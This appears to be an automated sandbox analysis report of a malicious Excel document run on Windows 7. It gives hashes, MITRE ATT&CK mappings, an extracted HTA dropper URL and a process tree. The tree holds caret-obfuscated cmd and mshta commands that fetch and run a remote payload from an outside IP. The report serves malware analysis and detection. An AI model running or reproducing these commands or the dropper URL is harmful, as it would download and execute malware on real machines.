37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 15:45

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General

Target

37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df.xls
Size

70KB
MD5

ec69dd36d403ff935e21af4b23295271
SHA1

2543243d16a989808026a0932597667b552360c4
SHA256

37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df
SHA512

e37ef580741746d929456ab19d44c1ce9ed928227ad0c2618a61882cfd5ce7c069e3a74568e2a6496aa0c88942c9cd7b4c1a36d96cca817c238a2d78fa05861d
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2088	2380	cmd.exe	27

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	2896	mshta.exe
5	2896	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2380	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2380	EXCEL.EXE
2380	EXCEL.EXE
2380	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2088	2380	EXCEL.EXE	28
PID 2380 wrote to memory of 2088	2380	EXCEL.EXE	28
PID 2380 wrote to memory of 2088	2380	EXCEL.EXE	28
PID 2380 wrote to memory of 2088	2380	EXCEL.EXE	28
PID 2088 wrote to memory of 2896	2088	cmd.exe	30
PID 2088 wrote to memory of 2896	2088	cmd.exe	30
PID 2088 wrote to memory of 2896	2088	cmd.exe	30
PID 2088 wrote to memory of 2896	2088	cmd.exe	30

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\37675c7b8c206210e680e7f1e4906fd9565c7fcf0f92af9633bd5517944bb7df.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2088
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2380-1-0x000000007344D000-0x0000000073458000-memory.dmp

Filesize
44KB

Download
memory/2380-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2380-2-0x000000007344D000-0x0000000073458000-memory.dmp

Filesize
44KB

Download